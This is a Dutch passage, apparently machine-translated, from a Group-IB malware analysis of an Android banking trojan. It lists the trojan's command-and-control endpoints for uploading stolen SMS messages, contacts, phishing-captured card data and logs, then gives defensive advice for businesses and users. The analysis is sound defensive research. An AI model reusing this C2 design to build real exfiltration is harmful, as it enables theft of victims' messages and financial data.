Netwerkinteracties

Om verkeersanalyse door netwerksniffers te voorkomen, kan de interactie tussen de CnC-server en de applicatie worden beveiligd met behulp van het SSL-protocol. Alle verzonden gegevens van en naar de server worden gepresenteerd in JSON-formaat. De applicatie voert tijdens bedrijf de volgende verzoeken uit:

  • http://<%CnC%>/api/v1/set_state.php — het resultaat van de uitvoering van de opdracht.
  • http://<%CnC%>/api/v1/get.php – een opdracht ontvangen.
  • http://<%CnC%>/api/v1/load_sms.php — SMS-berichten downloaden van een geïnfecteerd apparaat.
  • http://<%CnC%>/api/v1/load_ab.php — het uploaden van een lijst met contacten vanaf een geïnfecteerd apparaat.
  • http://<%CnC%>/api/v1/aevents.php – het verzoek wordt gedaan bij het bijwerken van parameters in het voorkeurenbestand.
  • http://<%CnC%>/api/v1/set_card.php — het uploaden van gegevens verkregen via een phishing-venster dat zich voordoet als de Google Play Market.
  • http://<%CnC%>/api/v1/logs.php – loggegevens uploaden.
  • http://<%CnC%>/api/v1/records.php – het uploaden van gegevens verkregen via phishing-vensters.
  • http://<%CnC%>/api/v1/set_error.php – melding van een opgetreden fout.

Aanbevelingen

Om hun klanten te beschermen tegen de dreiging van mobiele Trojaanse paarden, moeten bedrijven alomvattende oplossingen gebruiken waarmee ze kwaadaardige activiteiten kunnen monitoren en voorkomen zonder extra software op de apparaten van gebruikers te installeren.

Om dit te bereiken moeten de handtekeningmethoden voor het detecteren van mobiele Trojaanse paarden worden versterkt met technologieën voor het analyseren van het gedrag van zowel de client als de applicatie zelf. De bescherming moet ook een apparaatidentificatiefunctie omvatten met behulp van digitale vingerafdruktechnologie, die het mogelijk maakt om te begrijpen wanneer een account wordt gebruikt vanaf een atypisch apparaat en al in handen is gevallen van een fraudeur.

Een fundamenteel belangrijk punt is de beschikbaarheid van cross-channelanalyse, waarmee bedrijven de risico's kunnen beheersen die zich niet alleen op internet voordoen, maar ook op het mobiele kanaal, bijvoorbeeld in toepassingen voor mobiel bankieren, voor transacties met cryptocurrencies en alle andere waar transacties kunnen worden uitgevoerd financiële transactie.

Veiligheidsregels voor gebruikers:

  • installeer geen applicaties voor een mobiel apparaat met Android OS vanaf andere bronnen dan Google Play, let vooral op de rechten die door de applicatie worden gevraagd;
  • installeer regelmatig Android OS-updates;
  • let op de extensies van gedownloade bestanden;
  • bezoek geen verdachte bronnen;
  • Klik niet op links die u in sms-berichten ontvangt.

Met in de hoofdrol Semjon Rogacheva, junior specialist in malwareonderzoek bij het Group-IB Computer Forensics Laboratory.

Bron: www.habr.com

Voeg een reactie